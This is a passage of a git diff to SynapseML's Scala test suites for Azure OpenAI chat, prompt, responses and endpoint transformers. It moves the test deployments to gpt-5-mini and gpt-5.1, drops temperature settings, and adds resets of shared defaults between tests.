sys.env.getOrElse("OPENAI_API_KEY_2", Secrets.OpenAIApiKey) - lazy val openAIServiceName: String = sys.env.getOrElse("OPENAI_SERVICE_NAME_2", "synapseml-openai-2") + lazy val openAIAPIKey: String = sys.env.getOrElse("OPENAI_API_KEY_3", Secrets.OpenAIApiKey) + lazy val openAIServiceName: String = sys.env.getOrElse("OPENAI_SERVICE_NAME_3", "synapseml-openai-3") // Standardized test deployments - lazy val deploymentName4p1: String = "gpt-4.1-mini" - lazy val deploymentName5: String = "gpt-5-mini" - // Default deployment when GPT-5 features are not required - lazy val deploymentName: String = deploymentName4p1 + lazy val deploymentName5p1: String = "gpt-5.1" + lazy val deploymentNameMini: String = "gpt-5-mini" + // Use the mini deployment by default to keep live tests fast and inexpensive. + lazy val deploymentName: String = deploymentNameMini } - diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIChatCompletionSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIChatCompletionSuite.scala index d540cd71a55..9db4a689b55 100644 --- a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIChatCompletionSuite.scala +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIChatCompletionSuite.scala @@ -21,7 +21,6 @@ class OpenAIChatCompletionSuite extends TransformerFuzzing[OpenAIChatCompletion] .setMaxCompletionTokens(5000) .setOutputCol("out") .setMessagesCol("messages") - .setTemperature(0) .setSubscriptionKey(openAIAPIKey) lazy val goodDf: DataFrame = Seq( @@ -145,7 +144,7 @@ class OpenAIChatCompletionSuite extends TransformerFuzzing[OpenAIChatCompletion] test("Reasoning model with maxCompletionTokens") { val reasoningCompletion = new OpenAIChatCompletion() - .setDeploymentName(deploymentName5) + .setDeploymentName(deploymentNameMini) .setCustomServiceName(openAIServiceName) .setMaxCompletionTokens(500) .setOutputCol("out") @@ -166,7 +165,7 @@ class OpenAIChatCompletionSuite extends TransformerFuzzing[OpenAIChatCompletion] // The library must remap max_tokens → max_completion_tokens on the wire, // otherwise reasoning models reject the request. val reasoningCompletion = new OpenAIChatCompletion() - .setDeploymentName(deploymentName5) + .setDeploymentName(deploymentNameMini) .setCustomServiceName(openAIServiceName) .setMaxTokens(500) .setOutputCol("out") @@ -192,7 +191,7 @@ class OpenAIChatCompletionSuite extends TransformerFuzzing[OpenAIChatCompletion] test("getOptionalParam should include responseFormat"){ val completion = new OpenAIChatCompletion() - .setDeploymentName(deploymentName4p1) + .setDeploymentName(deploymentName) def validateResponseFormat(params: Map[String, Any], responseFormat: String): Unit = { val responseFormatPayloadName = this.completion.responseFormat.payloadName @@ -230,10 +229,10 @@ class OpenAIChatCompletionSuite extends TransformerFuzzing[OpenAIChatCompletion] validateResponseFormat(optionalParams4, "text") } - test("optional params for gpt-4.1-mini include numeric sampling only") { + test("optional params include configured numeric sampling values") { // Simulated usage: numeric sampling parameters only val completion = new OpenAIChatCompletion() - .setDeploymentName(deploymentName4p1) + .setDeploymentName("sampling-compatible-model") val messages: Seq[Row] = Seq( OpenAIMessage("user", "Sample prompt") @@ -252,7 +251,7 @@ class OpenAIChatCompletionSuite extends TransformerFuzzing[OpenAIChatCompletion] test("optional params for gpt-5-mini include reasoning controls only") { // Simulated usage: verbosity / reasoning_effort only (no temperature/top_p/seed) val completion = new OpenAIChatCompletion() - .setDeploymentName(deploymentName5) + .setDeploymentName(deploymentNameMini) val messages: Seq[Row] = Seq( OpenAIMessage("user", "Hello reasoning") @@ -272,7 +271,7 @@ class OpenAIChatCompletionSuite extends TransformerFuzzing[OpenAIChatCompletion] test("verbosity and reasoning_effort getters and setters") { val completion = new OpenAIChatCompletion() - .setDeploymentName(deploymentName5) + .setDeploymentName(deploymentNameMini) // Test verbosity completion.setVerbosity("low") @@ -306,7 +305,7 @@ class OpenAIChatCompletionSuite extends TransformerFuzzing[OpenAIChatCompletion] test("verbosity parameter correctly serialized in payload") { val completion = new OpenAIChatCompletion() - .setDeploymentName(deploymentName4p1) + .setDeploymentName(deploymentName) .setVerbosity("high") val messages: Seq[Row] = Seq( @@ -320,7 +319,7 @@ class OpenAIChatCompletionSuite extends TransformerFuzzing[OpenAIChatCompletion] test("reasoning_effort parameter correctly serialized in payload") { val completion = new OpenAIChatCompletion() - .setDeploymentName(deploymentName4p1) + .setDeploymentName(deploymentName) .setReasoningEffort("low") val messages: Seq[Row] = Seq( @@ -334,7 +333,7 @@ class OpenAIChatCompletionSuite extends TransformerFuzzing[OpenAIChatCompletion] test("both verbosity and reasoning_effort serialized together") { val completion = new OpenAIChatCompletion() - .setDeploymentName(deploymentName4p1) + .setDeploymentName(deploymentName) .setVerbosity("low") .setReasoningEffort("low") @@ -351,7 +350,7 @@ class OpenAIChatCompletionSuite extends TransformerFuzzing[OpenAIChatCompletion] test("verbosity accepts custom string values") { val completion = new OpenAIChatCompletion() - .setDeploymentName(deploymentName4p1) + .setDeploymentName(deploymentName) .setVerbosity("custom_value") val messages: Seq[Row] = Seq( @@ -365,7 +364,7 @@ class OpenAIChatCompletionSuite extends TransformerFuzzing[OpenAIChatCompletion] test("reasoning_effort accepts custom string values") { val completion = new OpenAIChatCompletion() - .setDeploymentName(deploymentName4p1) + .setDeploymentName(deploymentName) .setReasoningEffort("custom_reasoning") val messages: Seq[Row] = Seq( @@ -379,7 +378,7 @@ class OpenAIChatCompletionSuite extends TransformerFuzzing[OpenAIChatCompletion] test("parameters not included when not set") { val completion = new OpenAIChatCompletion() - .setDeploymentName(deploymentName4p1) + .setDeploymentName(deploymentName) // Don't set verbosity or reasoning_effort val messages: Seq[Row] = Seq( @@ -393,7 +392,7 @@ class OpenAIChatCompletionSuite extends TransformerFuzzing[OpenAIChatCompletion] test("maxCompletionTokens sends max_completion_tokens on wire") { val completion = new OpenAIChatCompletion() - .setDeploymentName(deploymentName4p1) + .setDeploymentName(deploymentName) .setMaxCompletionTokens(500) val messages: Seq[Row] = Seq( @@ -408,7 +407,7 @@ class OpenAIChatCompletionSuite extends TransformerFuzzing[OpenAIChatCompletion] test("deprecated maxTokens remapped to max_completion_tokens on wire") { val completion = new OpenAIChatCompletion() - .setDeploymentName(deploymentName4p1) + .setDeploymentName(deploymentName) .setMaxTokens(200) val messages: Seq[Row] = Seq( @@ -423,7 +422,7 @@ class OpenAIChatCompletionSuite extends TransformerFuzzing[OpenAIChatCompletion] test("setting both maxTokens and maxCompletionTokens throws") { val completion = new OpenAIChatCompletion() - .setDeploymentName(deploymentName4p1) + .setDeploymentName(deploymentName) .setMaxTokens(100) .setMaxCompletionTokens(200) @@ -438,7 +437,7 @@ class OpenAIChatCompletionSuite extends TransformerFuzzing[OpenAIChatCompletion] test("setResponseFormat should throw exception if invalid format"){ val completion = new OpenAIChatCompletion() - .setDeploymentName(deploymentName4p1) + .setDeploymentName(deploymentName) val messages: Seq[Row] = Seq( OpenAIMessage("user", "test") @@ -472,7 +471,7 @@ class OpenAIChatCompletionSuite extends TransformerFuzzing[OpenAIChatCompletion] test("setResponseFormat should throw exception if json_schema JSON string missing type") { val completion = new OpenAIChatCompletion() - .setDeploymentName(deploymentName4p1) + .setDeploymentName(deploymentName) val badJson = """{ | "json_schema": { @@ -488,13 +487,13 @@ class OpenAIChatCompletionSuite extends TransformerFuzzing[OpenAIChatCompletion] test("reject bare json_schema string in setResponseFormat"){ val completion = new OpenAIChatCompletion() - .setDeploymentName(deploymentName5) + .setDeploymentName(deploymentNameMini) assertThrows[IllegalArgumentException] { completion.setResponseFormat("json_schema") } } - test("validate that gpt4p1 accepts json_object response format") { + test("validate that gpt-5-mini accepts json_object response format") { val goodDf: DataFrame = Seq( Seq( OpenAIMessage("system", "Respond with JSON. You are an AI chatbot with red as your favorite color"), @@ -513,26 +512,24 @@ class OpenAIChatCompletionSuite extends TransformerFuzzing[OpenAIChatCompletion] ).toDF("messages") val completion = new OpenAIChatCompletion() - .setDeploymentName(deploymentName4p1) + .setDeploymentName(deploymentName) .setCustomServiceName(openAIServiceName) .setMaxCompletionTokens(500) .setOutputCol("out") .setMessagesCol("messages") - .setTemperature(0) .setSubscriptionKey(openAIAPIKey) .setResponseFormat("json_object") testCompletion(completion, goodDf) } - test("validate that gpt4 accepts text response format") { + test("validate that gpt-5-mini accepts text response format") { val completion = new OpenAIChatCompletion() - .setDeploymentName(deploymentName4p1) + .setDeploymentName(deploymentName) .setCustomServiceName(openAIServiceName) .setMaxCompletionTokens(5000) .setOutputCol("out") .setMessagesCol("messages") - .setTemperature(0) .setSubscriptionKey(openAIAPIKey) .setResponseFormat("text") @@ -545,7 +542,7 @@ class OpenAIChatCompletionSuite extends TransformerFuzzing[OpenAIChatCompletion] | "id":"chatcmpl_test", | "object":"chat.completion", | "created":"1", - | "model":"gpt-4.1", + | "model":"gpt-5.1", | "choices":[ | { | "message":{"role":"assistant","content":null,"name":null}, @@ -570,17 +567,16 @@ class OpenAIChatCompletionSuite extends TransformerFuzzing[OpenAIChatCompletion] ignore("Custom EndPoint") { lazy val accessToken: String = sys.env.getOrElse("CUSTOM_ACCESS_TOKEN", "") lazy val customRootUrlValue: String = sys.env.getOrElse("CUSTOM_ROOT_URL", "") - lazy val customHeadersValues: Map[String, String] = Map("X-ModelType" -> "gpt-4-turbo-chat-completions") + lazy val customHeadersValues: Map[String, String] = Map("X-ModelType" -> "gpt-5.1-chat-completions") val customEndpointCompletion = new OpenAIChatCompletion() .setCustomUrlRoot(customRootUrlValue) .setOutputCol("out") .setMessagesCol("messages") - .setTemperature(0) if (accessToken.isEmpty) { customEndpointCompletion.setSubscriptionKey(openAIAPIKey) - .setDeploymentName(deploymentName4p1) + .setDeploymentName(deploymentName) .setCustomServiceName(openAIServiceName) } else { customEndpointCompletion.setAADToken(accessToken) diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIDefaultsSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIDefaultsSuite.scala index a4808b7448d..a3847e4a175 100644 --- a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIDefaultsSuite.scala +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIDefaultsSuite.scala @@ -5,13 +5,42 @@ package com.microsoft.azure.synapse.ml.services.openai import com.microsoft.azure.synapse.ml.core.test.base.Flaky import org.apache.spark.sql.{DataFrame, Row} +import org.scalatest.TestData class OpenAIDefaultsSuite extends Flaky with OpenAIAPIKey { import spark.implicits._ + private def resetDefaults(): Unit = { + OpenAIDefaults.resetDeploymentName() + OpenAIDefaults.resetSubscriptionKey() + OpenAIDefaults.resetTemperature() + OpenAIDefaults.resetSeed() + OpenAIDefaults.resetTopP() + OpenAIDefaults.resetURL() + OpenAIDefaults.resetApiVersion() + OpenAIDefaults.resetModel() + OpenAIDefaults.resetEmbeddingDeploymentName() + OpenAIDefaults.resetVerbosity() + OpenAIDefaults.resetReasoningEffort() + OpenAIDefaults.resetApiType() + } + + protected override def beforeEach(td: TestData): Unit = { + super.beforeEach(td) + resetDefaults() + } + + protected override def afterEach(td: TestData): Unit = { + try { + resetDefaults() + } finally { + super.afterEach(td) + } + } + def promptCompletion: OpenAIChatCompletion = new OpenAIChatCompletion() - .setMaxCompletionTokens(200) + .setMaxCompletionTokens(1000) .setOutputCol("out") .setMessagesCol("prompt") @@ -35,7 +64,7 @@ class OpenAIDefaultsSuite extends Flaky with OpenAIAPIKey { test("Completion w Globals") { OpenAIDefaults.setDeploymentName(deploymentName) OpenAIDefaults.setSubscriptionKey(openAIAPIKey) - OpenAIDefaults.setTemperature(0.05) + OpenAIDefaults.setReasoningEffort("low") OpenAIDefaults.setURL(s"https://$openAIServiceName.openai.azure.com/") val fromRow = ChatModelResponse.makeFromRowConverter @@ -57,7 +86,7 @@ class OpenAIDefaultsSuite extends Flaky with OpenAIAPIKey { test("OpenAIPrompt w Globals") { OpenAIDefaults.setDeploymentName(deploymentName) OpenAIDefaults.setSubscriptionKey(openAIAPIKey) - OpenAIDefaults.setTemperature(0.05) + OpenAIDefaults.setReasoningEffort("low") OpenAIDefaults.setURL(s"https://$openAIServiceName.openai.azure.com/") val nonNullCount = prompt @@ -72,7 +101,6 @@ class OpenAIDefaultsSuite extends Flaky with OpenAIAPIKey { assert(prompt.getDeploymentName == deploymentName) assert(prompt.getSubscriptionKey == openAIAPIKey) - assert(prompt.getTemperature == 0.05) } test("Test Getters") { diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIEmbeddingsSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIEmbeddingsSuite.scala index 0ca12048366..d7bf21704e2 100644 --- a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIEmbeddingsSuite.scala +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIEmbeddingsSuite.scala @@ -91,7 +91,7 @@ class OpenAIEmbeddingsSuite extends TransformerFuzzing[OpenAIEmbedding] with Ope val originalEmbedding = OpenAIDefaults.getEmbeddingDeploymentName // Set a general default that is not an embedding model and a valid embedding default - OpenAIDefaults.setDeploymentName("gpt-4.1-mini") + OpenAIDefaults.setDeploymentName("gpt-5-mini") OpenAIDefaults.setEmbeddingDeploymentName("text-embedding-ada-002") val t = new OpenAIEmbedding() diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptResponsesSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptResponsesSuite.scala index 54fc0546653..adb78efa2d9 100644 --- a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptResponsesSuite.scala +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptResponsesSuite.scala @@ -31,7 +31,6 @@ class OpenAIPromptResponsesSuite extends Flaky with OpenAIAPIKey { .setApiType("responses") .setApiVersion("2025-04-01-preview") .setOutputCol(outputCol) - .setTemperature(0) } private def assertResponsesOutputForDeployment( @@ -56,17 +55,17 @@ class OpenAIPromptResponsesSuite extends Flaky with OpenAIAPIKey { assert(output.toLowerCase.contains(expectedToken.toLowerCase)) } - test("Responses API OpenAIPrompt returns text for gpt-4.1 outputs") { + test("Responses API OpenAIPrompt returns text for gpt-5-mini outputs") { assertResponsesOutputForDeployment( - deploymentName4p1, - "responses_gpt41_output", + deploymentNameMini, + "responses_gpt5mini_output", "fruit") } - test("Responses API OpenAIPrompt returns text for gpt-5 outputs") { + test("Responses API OpenAIPrompt returns text for gpt-5.1 outputs") { assertResponsesOutputForDeployment( - deploymentName5, - "responses_gpt5_output", + deploymentName5p1, + "responses_gpt51_output", "fruit") } } diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptSuite.scala index 1942bbdb71c..907cae62271 100644 --- a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptSuite.scala +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptSuite.scala @@ -36,7 +36,6 @@ class OpenAIPromptSuite extends TransformerFuzzing[OpenAIPrompt] with OpenAIAPIK .setDeploymentName(deploymentName) .setCustomServiceName(openAIServiceName) .setOutputCol("outParsed") - .setTemperature(0) lazy val aiFoundryPrompt: OpenAIPrompt = new OpenAIPrompt() .setSubscriptionKey(aiFoundryAPIKey) @@ -60,7 +59,6 @@ class OpenAIPromptSuite extends TransformerFuzzing[OpenAIPrompt] with OpenAIAPIK .setPromptTemplate("List two {category}, starting with {text}.") .setPostProcessing("csv") .setOutputCol(outputCol) - .setTemperature(0) } test("createMessagesForRow generates contentParts for path columns when using Chat Completions API") { @@ -173,7 +171,8 @@ class OpenAIPromptSuite extends TransformerFuzzing[OpenAIPrompt] with OpenAIAPIK test("Basic Usage JSON") { prompt.setPromptTemplate( - """Split a word into prefix and postfix a respond in JSON. + """Return only one JSON object with exactly the top-level string fields "prefix" and "suffix". + |Do not nest the object under the input word. |Cherry: {{"prefix": "Che", "suffix": "rry"}} |{text}: |""".stripMargin) @@ -270,7 +269,8 @@ class OpenAIPromptSuite extends TransformerFuzzing[OpenAIPrompt] with OpenAIAPIK test("Basic Usage JSON - without explicit post-processing") { prompt.setPromptTemplate( - """Split a word into prefix and postfix a respond in JSON + """Return only one JSON object with exactly the top-level string fields "prefix" and "suffix". + |Do not nest the object under the input word. |Cherry: {{"prefix": "Che", "suffix": "rry"}} |{text}: |""".stripMargin) @@ -304,9 +304,9 @@ class OpenAIPromptSuite extends TransformerFuzzing[OpenAIPrompt] with OpenAIAPIK .setDeploymentName(deploymentName) .setCustomServiceName(openAIServiceName) .setOutputCol("outParsed") - .setTemperature(0) .setPromptTemplate( - """Split a word into prefix and postfix in JSON format + """Return only one JSON object with exactly the top-level string fields "prefix" and "suffix". + |Do not nest the object under the input word. |Cherry: {{"prefix": "Che", "suffix": "rry"}} |{text}: |""".stripMargin) @@ -485,12 +485,11 @@ class OpenAIPromptSuite extends TransformerFuzzing[OpenAIPrompt] with OpenAIAPIK ignore("Custom EndPoint") { lazy val accessToken: String = sys.env.getOrElse("CUSTOM_ACCESS_TOKEN", "") lazy val customRootUrlValue: String = sys.env.getOrElse("CUSTOM_ROOT_URL", "") - lazy val customHeadersValues: Map[String, String] = Map("X-ModelType" -> "gpt-4-turbo-chat-completions") + lazy val customHeadersValues: Map[String, String] = Map("X-ModelType" -> "gpt-5.1-chat-completions") lazy val customPrompt: OpenAIPrompt = new OpenAIPrompt() .setCustomUrlRoot(customRootUrlValue) .setOutputCol("outParsed") - .setTemperature(0) if (accessToken.isEmpty) { customPrompt.setSubscriptionKey(openAIAPIKey) @@ -589,7 +588,7 @@ class OpenAIPromptSuite extends TransformerFuzzing[OpenAIPrompt] with OpenAIAPIK assert(p.getPreviousResponseIdCol == "prev_id_column") } - test("responses payload maps model to model field and nests verbosity/reasoning for gpt-5 usage") { + test("responses payload maps model to model field and nests verbosity/reasoning for gpt-5-mini usage") { val p = new OpenAIPrompt() .setApiType("responses") .setMessagesCol("messages") @@ -628,7 +627,6 @@ class OpenAIPromptSuite extends TransformerFuzzing[OpenAIPrompt] with OpenAIAPIK .setStore(true) .setPromptTemplate("What is {text}?") .setOutputCol("store_output") - .setTemperature(0) val result = storePrompt.transform(df.limit(1)) val schema = result.schema @@ -658,7 +656,6 @@ class OpenAIPromptSuite extends TransformerFuzzing[OpenAIPrompt] with OpenAIAPIK .setUsageCol("usage") .setPromptTemplate("What is {text}?") .setOutputCol("store_usage_output") - .setTemperature(0) val result = storeUsagePrompt.transform(df.limit(1)) val schema = result.schema @@ -694,7 +691,6 @@ class OpenAIPromptSuite extends TransformerFuzzing[OpenAIPrompt] with OpenAIAPIK .setResponseIdCol("custom_id") .setPromptTemplate("What is {text}?") .setOutputCol("output") - .setTemperature(0) val result = customIdPrompt.transform(df.limit(1)) val schema = result.schema @@ -716,7 +712,6 @@ class OpenAIPromptSuite extends TransformerFuzzing[OpenAIPrompt] with OpenAIAPIK .setStore(false) .setPromptTemplate("What is {text}?") .setOutputCol("no_store_output") - .setTemperature(0) val result = noStorePrompt.transform(df.limit(1)) val schema = result.schema diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIResponsesSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIResponsesSuite.scala index 34f843ac051..46f11718eea 100644 --- a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIResponsesSuite.scala +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIResponsesSuite.scala @@ -25,9 +25,9 @@ class OpenAIResponsesSuite extends TransformerFuzzing[OpenAIResponses] .setCustomServiceName(openAIServiceName) .setApiVersion("2025-04-01-preview") .setMaxCompletionTokens(500) + .setReasoningEffort("low") .setOutputCol("out") .setMessagesCol("messages") - .setTemperature(0) .setSubscriptionKey(openAIAPIKey) lazy val goodDf: DataFrame = Seq( @@ -225,7 +225,6 @@ class OpenAIResponsesSuite extends TransformerFuzzing[OpenAIResponses] .setMaxCompletionTokens(100) .setOutputCol("out") .setMessagesCol("messages") - .setTemperature(0) .setSubscriptionKey(openAIAPIKey) .setStore(true) @@ -283,7 +282,7 @@ class OpenAIResponsesSuite extends TransformerFuzzing[OpenAIResponses] | "id":"resp_test", | "object":"response", | "created_at":"1", - | "model":"gpt-5", + | "model":"gpt-5.1", | "output":[ | {"type":"reasoning","status":"completed","content":null}, | {"type":"message","status":"completed","content":[{"type":"output_text","text":"{\"answer\":\"fruit\"}"}]} @@ -305,14 +304,14 @@ class OpenAIResponsesSuite extends TransformerFuzzing[OpenAIResponses] assert(!transformer.isContentFiltered(responseDf.collect().head)) } - test("Responses extract output text from gpt-4.1 message output") { + test("Responses extract output text from message-only output") { val transformer = new OpenAIResponses() val responseJson = """{ | "id":"resp_test", | "object":"response", | "created_at":"1", - | "model":"gpt-4.1", + | "model":"gpt-5.1", | "output":[ | {"type":"message","status":"completed","content":[{"type":"output_text","text":"{\"answer\":\"fruit\"}"}]} | ], @@ -340,7 +339,7 @@ class OpenAIResponsesSuite extends TransformerFuzzing[OpenAIResponses] | "id":"resp_test", | "object":"response", | "created_at":"1", - | "model":"gpt-5", + | "model":"gpt-5.1", | "output":[ | {"type":"message","status":"completed","content":[{"type":"output_text","text":""}]} | ], @@ -367,7 +366,7 @@ class OpenAIResponsesSuite extends TransformerFuzzing[OpenAIResponses] | "id":"resp_test", | "object":"response", | "created_at":"1", - | "model":"gpt-5", + | "model":"gpt-5.1", | "output":[ | {"type":"message","status":"completed","content":[{"type":"output_text","text":"{\"answer\":\"stale\"}"}]}, | {"type":"message","status":"completed","content":[{"type":"output_text","text":"{\"answer\":\"final\"}"}]} @@ -395,7 +394,7 @@ class OpenAIResponsesSuite extends TransformerFuzzing[OpenAIResponses] | "id":"resp_test", | "object":"response", | "created_at":"1", - | "model":"gpt-5", + | "model":"gpt-5.1", | "output":[ | {"type":"message","status":"content_filter","content":null} | ], @@ -417,7 +416,7 @@ class OpenAIResponsesSuite extends TransformerFuzzing[OpenAIResponses] | "id":"resp_test", | "object":"response", | "created_at":"1", - | "model":"gpt-5", + | "model":"gpt-5.1", | "output":[ | {"type":"reasoning","status":"completed","content":null}, | {"type":"message","status":"content_filter","content":null} @@ -483,15 +482,14 @@ class OpenAIResponsesSuite extends TransformerFuzzing[OpenAIResponses] private def testResponses(model: OpenAIResponses, df: DataFrame, requiredLength: Int = 10): Unit = { - val fromRow = ResponsesModelResponse.makeFromRowConverter - model.transform(df).collect().foreach { row => - val responseRow = row.getAs[Row]("out") - assert(responseRow != null, "Expected non-null response from Responses API") - fromRow(responseRow).output.foreach { choice => - val text = choice.content.map(_.text).mkString + model.transform(df) + .select(model.getOutputMessageText(model.getOutputCol).as("text")) + .collect() + .foreach { row => + val text = row.getAs[String]("text") + assert(text != null, "Expected non-null text from Responses API") assert(text.length > requiredLength, s"Expected text length > $requiredLength but got ${text.length}") - } } } diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIV1EndpointSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIV1EndpointSuite.scala index e2d765eb22d..530c150c21d 100644 --- a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIV1EndpointSuite.scala +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIV1EndpointSuite.scala @@ -82,14 +82,14 @@ class OpenAIV1EndpointSuite extends TestBase { OpenAIDefaults.setURL(versionedPath) try { val transformer = new OpenAIChatCompletion() - .setDeploymentName("gpt-4o") + .setDeploymentName("gpt-5.1") .setMessagesCol("messages") transformer.transferGlobalParamsToParamMap() assert(OpenAIDefaults.getURL.contains(versionedPath)) assert(transformer.getUrl == versionedPath) assert(requestUrl(transformer, messagesRow) == - versionedPath + "/openai/deployments/gpt-4o/chat/completions?api-version=2025-04-01-preview") + versionedPath + "/openai/deployments/gpt-5.1/chat/completions?api-version=2025-04-01-preview") } finally { OpenAIDefaults.resetURL() } @@ -98,7 +98,7 @@ class OpenAIV1EndpointSuite extends TestBase { test("chat completions uses OpenAI v1 base URL without api-version and sends model") { val transformer = new OpenAIChatCompletion() .setUrl("https://example.services.ai.azure.com/openai/v1") - .setDeploymentName("gpt-4o") + .setDeploymentName("gpt-5.1") .setMessagesCol("messages") .setApiVersion("2025-04-01-preview") @@ -106,7 +106,7 @@ class OpenAIV1EndpointSuite extends TestBase { assert(requestUrl(transformer, row) == "https://example.services.ai.azure.com/openai/v1/chat/completions") val payload = requestPayload(transformer, row) - assert(payload.fields.get("model").contains(JsString("gpt-4o"))) + assert(payload.fields.get("model").contains(JsString("gpt-5.1"))) assert(payload.fields.contains("messages")) } @@ -123,7 +123,7 @@ class OpenAIV1EndpointSuite extends TestBase { ).foreach { case (baseUrl, expectedUrl) => val transformer = new OpenAIChatCompletion() .setUrl(baseUrl) - .setDeploymentName("gpt-4o") + .setDeploymentName("gpt-5.1") .setMessagesCol("messages") .setApiVersion("2025-04-01-preview") @@ -135,13 +135,13 @@ class OpenAIV1EndpointSuite extends TestBase { Seq("https://example.openai.azure.com", "https://example.openai.azure.com/").foreach { baseUrl => val transformer = new OpenAIChatCompletion() .setUrl(baseUrl) - .setDeploymentName("gpt-4o") + .setDeploymentName("gpt-5.1") .setMessagesCol("messages") .setApiVersion("2025-04-01-preview") val row = messagesRow assert(requestUrl(transformer, row) == - "https://example.openai.azure.com/openai/deployments/gpt-4o/chat/completions" + + "https://example.openai.azure.com/openai/deployments/gpt-5.1/chat/completions" + "?api-version=2025-04-01-preview") assert(!requestPayload(transformer, row).fields.contains("model")) } @@ -151,12 +151,12 @@ class OpenAIV1EndpointSuite extends TestBase { Seq("https://example.services.ai.azure.com", "https://example.services.ai.azure.com/").foreach { baseUrl => val transformer = new OpenAIChatCompletion() .setUrl(baseUrl) - .setDeploymentName("gpt-4o") + .setDeploymentName("gpt-5.1") .setMessagesCol("messages") .setApiVersion("2025-04-01-preview") assert(requestUrl(transformer, messagesRow) == - "https://example.services.ai.azure.com/openai/deployments/gpt-4o/chat/completions" + + "https://example.services.ai.azure.com/openai/deployments/gpt-5.1/chat/completions" + "?api-version=2025-04-01-preview") } } @@ -165,7 +165,7 @@ class OpenAIV1EndpointSuite extends TestBase { Seq("https://example.services.ai.azure.com", "https://example.services.ai.azure.com/").foreach { baseUrl => val transformer = new AIFoundryChatCompletion() .setUrl(baseUrl) - .setModel("gpt-4o") + .setModel("gpt-5.1") .setMessagesCol("messages") .setApiVersion("2025-04-01-preview") @@ -177,24 +177,24 @@ class OpenAIV1EndpointSuite extends TestBase { test("non-v1 URL paths remain permissive and use legacy request construction") { val transformer = new OpenAIChatCompletion() .setUrl("https://example.openai.azure.com/openai") - .setDeploymentName("gpt-4o") + .setDeploymentName("gpt-5.1") .setMessagesCol("messages") .setApiVersion("2025-04-01-preview") assert(requestUrl(transformer, messagesRow) == - "https://example.openai.azure.com/openai/openai/deployments/gpt-4o/chat/completions" + + "https://example.openai.azure.com/openai/openai/deployments/gpt-5.1/chat/completions" + "?api-version=2025-04-01-preview") } test("custom non-Azure URL strings remain permissive") { val transformer = new OpenAIChatCompletion() .setUrl("https://proxy.contoso.com/openai") - .setDeploymentName("gpt-4o") + .setDeploymentName("gpt-5.1") .setMessagesCol("messages") .setApiVersion("2025-04-01-preview") assert(requestUrl(transformer, messagesRow) == - "https://proxy.contoso.com/openai/openai/deployments/gpt-4o/chat/completions" + + "https://proxy.contoso.com/openai/openai/deployments/gpt-5.1/chat/completions" + "?api-version=2025-04-01-preview") } @@ -202,12 +202,12 @@ class OpenAIV1EndpointSuite extends TestBase { OpenAIDefaults.setURL("https://example.openai.azure.com/openai") try { val transformer = new OpenAIChatCompletion() - .setDeploymentName("gpt-4o") + .setDeploymentName("gpt-5.1") .setMessagesCol("messages") transformer.transferGlobalParamsToParamMap() assert(requestUrl(transformer, messagesRow) == - "https://example.openai.azure.com/openai/openai/deployments/gpt-4o/chat/completions" + + "https://example.openai.azure.com/openai/openai/deployments/gpt-5.1/chat/completions" + "?api-version=2025-04-01-preview") } finally { OpenAIDefaults.resetURL() @@ -230,7 +230,7 @@ class OpenAIV1EndpointSuite extends TestBase { OpenAIDefaults.setApiVersion("2025-04-01-preview") try { val transformer = new OpenAIChatCompletion() - .setDeploymentName("gpt-4o") + .setDeploymentName("gpt-5.1") .setMessagesCol("messages") transformer.transferGlobalParamsToParamMap() @@ -331,7 +331,7 @@ class OpenAIV1EndpointSuite extends TestBase { test("OpenAIPrompt treats services.ai.azure.com/openai/v1 as OpenAI v1, not models chat endpoint") { val prompt = new OpenAIPrompt() .setUrl("https://example.services.ai.azure.com/openai/v1") - .setModel("gpt-4o") + .setModel("gpt-5.1") .setMessagesCol("messages") val prepareEntity = classOf[OpenAIPrompt].getDeclaredMethod("prepareEntity") @@ -339,7 +339,7 @@ class OpenAIV1EndpointSuite extends TestBase { val buildEntity = prepareEntity.invoke(prompt).asInstanceOf[Row => Option[AbstractHttpEntity]] val payload = EntityUtils.toString(buildEntity(messagesRow).get).parseJson.asJsObject - assert(payload.fields.get("model").contains(JsString("gpt-4o"))) + assert(payload.fields.get("model").contains(JsString("gpt-5.1"))) assert(payload.fields.contains("messages")) } } diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/Secrets.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/Secrets.scala index 